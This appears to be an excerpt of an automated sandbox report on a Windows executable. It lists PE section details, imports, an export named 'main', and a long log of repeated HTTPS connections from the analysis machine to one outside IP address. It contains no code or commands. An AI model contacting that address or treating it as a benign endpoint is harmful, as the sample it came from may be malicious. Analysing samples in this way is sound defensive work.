.bss	0x3c000	0x3a8	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0x3d000	0x44	0x200	ddeca4435c49f8019ceabcd8a94c851a	False	0.126953125	data	0.7449576411136207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.idata	0x3e000	0x400	0x400	4034c68945e24e6efe4224790ba7b21a	False	0.482421875	data	4.949768824099166	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0x3f000	0x2c	0x200	04e837f38c111dd74a672829dd62651b	False	0.0546875	data	0.20153937813451883	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x40000	0x8	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x41000	0x1e4	0x200	cf5f025a855b7daa938be55a5ba2dc39	False	0.931640625	data	6.0534334618368835	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
KERNEL32.dll	DeleteCriticalSection, EnterCriticalSection, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetLastError, GetNativeSystemInfo, GetSystemTimeAsFileTime, GetTickCount, InitializeCriticalSection, LeaveCriticalSection, QueryPerformanceCounter, SetUnhandledExceptionFilter, Sleep, TerminateProcess, TlsGetValue, UnhandledExceptionFilter, VirtualProtect, VirtualQuery
msvcrt.dll	_amsg_exit, _initterm, _iob, _lock, _unlock, abort, calloc, free, fwrite, realloc, strlen, strncmp, vfprintf

Exports

Name	Ordinal	Address
main	1	0x650c2590

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 16, 2024 23:02:17.591511011 CEST	49730	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:17.591600895 CEST	443	49730	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:17.591703892 CEST	49730	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:17.598447084 CEST	49731	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:17.598486900 CEST	443	49731	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:17.598552942 CEST	49731	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:17.611850023 CEST	49730	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:17.611916065 CEST	49731	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:17.611922026 CEST	443	49730	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:17.611932993 CEST	443	49731	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:17.846276999 CEST	443	49730	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:17.846492052 CEST	49730	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:17.847703934 CEST	443	49731	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:17.847882032 CEST	49731	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:17.900463104 CEST	49731	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:17.900486946 CEST	443	49731	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:17.901140928 CEST	49730	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:17.901216030 CEST	443	49730	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:17.901521921 CEST	443	49731	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:17.901695967 CEST	49731	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:17.902226925 CEST	443	49730	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:17.902307987 CEST	49730	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:17.906805992 CEST	49730	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:17.906861067 CEST	49731	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:17.948189974 CEST	443	49730	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:17.948208094 CEST	443	49731	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:18.173109055 CEST	443	49730	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:18.173345089 CEST	49730	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:18.173366070 CEST	443	49730	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:18.173440933 CEST	49730	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:18.175388098 CEST	49730	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:18.175427914 CEST	443	49730	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:18.186891079 CEST	49732	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:18.186970949 CEST	443	49732	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:18.187041998 CEST	49732	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:18.187378883 CEST	49732	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:18.187433958 CEST	443	49732	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:18.263932943 CEST	443	49731	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:18.264000893 CEST	49731	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:18.264014959 CEST	443	49731	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:18.264147043 CEST	49731	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:18.264153957 CEST	443	49731	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:18.264205933 CEST	49731	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:18.264213085 CEST	443	49731	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:18.264249086 CEST	443	49731	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:18.264256001 CEST	49731	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:18.264256001 CEST	49731	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:18.264278889 CEST	443	49731	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:18.264291048 CEST	49731	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:18.264322042 CEST	49731	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:18.276354074 CEST	49733	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:18.276431084 CEST	443	49733	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:18.276508093 CEST	49733	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:18.276732922 CEST	49733	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:18.276751995 CEST	443	49733	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:18.411359072 CEST	443	49732	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:18.411545038 CEST	49732	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:18.411952019 CEST	49732	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:18.412000895 CEST	443	49732	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:18.413897991 CEST	49732	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:18.413948059 CEST	443	49732	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:18.501848936 CEST	443	49733	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:18.501933098 CEST	49733	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:18.502257109 CEST	49733	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:18.502283096 CEST	443	49733	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:18.503655910 CEST	49733	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:18.503669024 CEST	443	49733	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:18.801611900 CEST	443	49732	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:18.801695108 CEST	49732	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:18.801752090 CEST	443	49732	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:18.801791906 CEST	443	49732	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:18.801825047 CEST	49732	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:18.801852942 CEST	49732	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:18.801893950 CEST	49732	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:18.801919937 CEST	443	49732	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:18.896807909 CEST	443	49733	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:18.896949053 CEST	443	49733	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:18.897072077 CEST	49733	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:18.897165060 CEST	49733	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:18.897241116 CEST	49733	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:18.897274971 CEST	443	49733	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:20.306844950 CEST	49734	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:20.306926966 CEST	443	49734	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:20.307116032 CEST	49734	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:20.313702106 CEST	49734	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:20.313740969 CEST	443	49734	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:20.538769007 CEST	443	49734	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:20.538836002 CEST	49734	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:20.588522911 CEST	49734	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:20.588548899 CEST	443	49734	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:20.589561939 CEST	443	49734	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:20.589627981 CEST	49734	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:20.591193914 CEST	49734	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:20.636115074 CEST	443	49734	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:20.925324917 CEST	443	49734	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:20.925550938 CEST	49734	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:20.925568104 CEST	443	49734	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:20.925730944 CEST	49734	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:20.925786018 CEST	49734	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:20.925806046 CEST	443	49734	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:20.940481901 CEST	49735	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:20.940558910 CEST	443	49735	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:20.940660954 CEST	49735	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:20.940839052 CEST	49735	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:20.940860033 CEST	443	49735	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:21.167337894 CEST	443	49735	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:21.167540073 CEST	49735	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:21.167747974 CEST	49735	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:21.167773962 CEST	443	49735	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:21.169164896 CEST	49735	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:21.169178963 CEST	443	49735	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:21.533873081 CEST	443	49735	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:21.534003973 CEST	443	49735	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:21.534090996 CEST	49735	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:21.534145117 CEST	49735	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:21.534145117 CEST	49735	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:21.843369007 CEST	49735	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:21.843426943 CEST	443	49735	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:22.814188957 CEST	49736	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:22.814277887 CEST	443	49736	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:22.814373016 CEST	49736	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:22.814644098 CEST	49736	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:22.814667940 CEST	443	49736	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:22.928558111 CEST	49737	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:22.928600073 CEST	443	49737	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:22.928685904 CEST	49737	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:22.928886890 CEST	49737	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:22.928894043 CEST	443	49737	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:23.037944078 CEST	443	49736	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:23.038136959 CEST	49736	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:23.038378954 CEST	49736	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:23.038407087 CEST	443	49736	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:23.039644957 CEST	49736	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:23.039657116 CEST	443	49736	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:23.154910088 CEST	443	49737	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:23.155061007 CEST	49737	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:23.155381918 CEST	49737	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:23.155402899 CEST	443	49737	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:23.156881094 CEST	49737	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:23.156886101 CEST	443	49737	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:23.381746054 CEST	443	49736	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:23.381882906 CEST	443	49736	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:23.381968021 CEST	49736	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:23.381968021 CEST	49736	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:23.382054090 CEST	49736	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:23.382091999 CEST	443	49736	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:23.550806046 CEST	443	49737	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:23.550873995 CEST	49737	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:23.550916910 CEST	443	49737	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:23.550976992 CEST	49737	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:23.550988913 CEST	443	49737	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:23.551031113 CEST	49737	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:23.551038027 CEST	443	49737	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:23.551084042 CEST	49737	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:23.551112890 CEST	49737	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:23.551131010 CEST	443	49737	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:26.553580046 CEST	49738	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:26.553654909 CEST	443	49738	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:26.553750038 CEST	49738	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:26.553957939 CEST	49738	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:26.553975105 CEST	443	49738	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:26.776168108 CEST	443	49738	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:26.776402950 CEST	49738	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:26.776731014 CEST	49738	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:26.776757956 CEST	443	49738	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:26.778151989 CEST	49738	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:26.778166056 CEST	443	49738	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:27.129250050 CEST	443	49738	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:27.129338980 CEST	49738	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:27.129385948 CEST	443	49738	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:27.129414082 CEST	443	49738	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:27.129447937 CEST	49738	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:27.129479885 CEST	49738	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:27.129591942 CEST	49738	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:27.129622936 CEST	443	49738	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:27.400803089 CEST	49739	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:27.400890112 CEST	443	49739	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:27.400995970 CEST	49739	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:27.401351929 CEST	49739	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:27.401376963 CEST	443	49739	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:27.572138071 CEST	49740	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:27.572213888 CEST	443	49740	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:27.572303057 CEST	49740	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:27.572582006 CEST	49740	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:27.572606087 CEST	443	49740	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:27.626698017 CEST	443	49739	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:27.626940012 CEST	49739	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:27.627253056 CEST	49739	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:27.627284050 CEST	443	49739	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:27.628655910 CEST	49739	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:27.628668070 CEST	443	49739	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:27.799015999 CEST	443	49740	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:27.799097061 CEST	49740	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:27.799417019 CEST	49740	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:27.799432039 CEST	443	49740	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:27.801188946 CEST	49740	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:27.801198959 CEST	443	49740	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:28.030510902 CEST	443	49739	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:28.030642033 CEST	443	49739	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:28.030756950 CEST	49739	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:28.030757904 CEST	49739	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:28.030994892 CEST	49739	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:28.031037092 CEST	443	49739	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:28.156181097 CEST	443	49740	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:28.156316042 CEST	443	49740	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:28.156455994 CEST	49740	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:28.169044018 CEST	49740	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:28.169105053 CEST	443	49740	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:31.053817034 CEST	49741	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:31.053895950 CEST	443	49741	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:31.053975105 CEST	49741	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:31.054295063 CEST	49741	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:31.054352999 CEST	443	49741	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:31.178556919 CEST	49742	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:31.178633928 CEST	443	49742	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:31.178719997 CEST	49742	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:31.179083109 CEST	49742	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:31.179137945 CEST	443	49742	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:31.279174089 CEST	443	49741	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:31.279350042 CEST	49741	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:31.280679941 CEST	49741	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:31.280705929 CEST	443	49741	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:31.282800913 CEST	49741	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:31.282814026 CEST	443	49741	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:31.405016899 CEST	443	49742	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:31.405111074 CEST	49742	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:31.415373087 CEST	49742	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:31.415420055 CEST	443	49742	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:31.417154074 CEST	49742	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:31.417177916 CEST	443	49742	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:31.669866085 CEST	443	49741	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:31.669969082 CEST	49741	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:31.670027018 CEST	443	49741	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:31.670067072 CEST	443	49741	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:31.670094967 CEST	49741	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:31.670134068 CEST	49741	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:31.670171976 CEST	49741	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:31.670198917 CEST	443	49741	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:31.681566000 CEST	49744	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:31.681642056 CEST	443	49744	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:31.681716919 CEST	49744	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:31.681926012 CEST	49744	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:31.681993008 CEST	443	49744	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:31.817589045 CEST	443	49742	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:31.817734003 CEST	443	49742	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:31.817774057 CEST	49742	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:31.817837954 CEST	49742	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:31.817939997 CEST	49742	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:31.817982912 CEST	443	49742	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:31.833831072 CEST	49745	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:31.833908081 CEST	443	49745	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:31.834167004 CEST	49745	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:31.834294081 CEST	49745	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:31.834322929 CEST	443	49745	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:31.906686068 CEST	443	49744	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:31.906764030 CEST	49744	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:31.907299995 CEST	49744	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:31.907349110 CEST	443	49744	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:31.908732891 CEST	49744	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:31.908749104 CEST	443	49744	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:32.061548948 CEST	443	49745	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:32.061630964 CEST	49745	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:32.062150002 CEST	49745	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:32.062197924 CEST	443	49745	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:32.063600063 CEST	49745	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:32.063615084 CEST	443	49745	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:32.163225889 CEST	49746	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:32.163335085 CEST	443	49746	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:32.163424015 CEST	49746	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:32.163777113 CEST	49746	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:32.163844109 CEST	443	49746	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:32.220558882 CEST	443	49744	104.21.62.151	192.168.2.4
Apr 16, 2024 23:02:32.220649958 CEST	49744	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:02:32.220707893 CEST	443	49744	104.21.62.151	192.168.2.4
